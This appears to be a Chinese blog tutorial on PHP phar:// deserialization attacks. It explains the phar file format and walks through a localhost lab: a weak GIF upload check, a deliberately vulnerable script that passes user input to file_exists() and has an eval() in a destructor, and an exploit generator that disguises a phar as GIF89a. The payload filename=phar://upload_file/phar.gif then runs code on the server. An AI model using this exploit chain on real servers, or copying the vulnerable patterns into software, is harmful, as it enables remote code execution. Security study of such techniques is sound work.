博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

phar反序列化

我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

一. PHAR简介

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。

 

二. PHAR文件结构

Phar文件主要包含三至四个部分:

1. a stub

stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点

 

3. the file contents

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

4. a signature for verifying Phar integrity

签名格式

 

 

来个小例子

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

 

 

phar.php

 1 <?php
 2     class TestObject {
 3     }
 4     $phar = new Phar("phar.phar"); //后缀名必须为phar
 5     $phar->startBuffering();
 6     $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
 7     $o = new TestObject();
 8     $o -> data='hu3sky';
 9     $phar->setMetadata($o); //将自定义的meta-data存入manifest
10     $phar->addFromString("test.txt", "test"); //添加要压缩的文件
11     //签名自动计算
12     $phar->stopBuffering();
13 ?>

访问后,会生成一个phar.phar在当前目录下。

 

 

用winhex打开

 

可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

 

 

phar_fan.php

1 <?php
2 class TestObject{
3     function __destruct()
4     {
5         echo $this -> data;   // TODO: Implement __destruct() method.
6     }
7 }
8 include('phar://phar.phar');
9 ?>

 

可以看到成功触发了反序列化

 

 

三. 漏洞验证

环境准备
upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()

 

利用条件
phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

文件内容

upload_file.php

 

 1 <?php
 2 if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
 3     echo "Upload: " . $_FILES["file"]["name"];
 4     echo "Type: " . $_FILES["file"]["type"];
 5     echo "Temp file: " . $_FILES["file"]["tmp_name"];
 6 
 7     if (file_exists("upload_file/" . $_FILES["file"]["name"]))
 8       {
 9       echo $_FILES["file"]["name"] . " already exists. ";
10       }
11     else
12       {
13       move_uploaded_file($_FILES["file"]["tmp_name"],
14       "upload_file/" .$_FILES["file"]["name"]);
15       echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
16       }
17     }
18 else
19   {
20   echo "Invalid file,you can only upload gif";
21   }

 

 

upload_file.html

1 <body>
2 <form action="http://localhost/phar/upload_file.php" method="post" enctype="multipart/form-data">
3     <input type="file" name="file" />
4     <input type="submit" name="Upload" />
5 </form>
6 </body>

 

file_un.php

 1 <?php
 2 $filename=$_GET['filename'];
 3 class AnyClass{
 4     var $output = 'echo "ok";';
 5     function __destruct()
 6     {
 7         eval($this -> output);
 8     }
 9 }
10 file_exists($filename);

 

实现过程

首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

 

构造代码

eval.php

 1 <?php
 2 class AnyClass{
 3     var $output = 'echo "ok";';
 4     function __destruct()
 5     {
 6         eval($this -> output);
 7     }
 8 }
 9 $phar = new Phar('phar.phar');
10 $phar -> stopBuffering();
11 $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
12 $phar -> addFromString('test.txt','test');
13 $object = new AnyClass();
14 $object -> output= 'phpinfo();';
15 $phar -> setMetadata($object);
16 $phar -> stopBuffering();

 

访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif

 

 

进行上传

 

 

 

然后利用file_un.php。
payload:filename=phar://upload_file/phar.gif

 

 

参考:https://xz.aliyun.com/t/2715

posted @ 2020-06-02 12:53  My_Dreams  阅读(8104)  评论(2编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();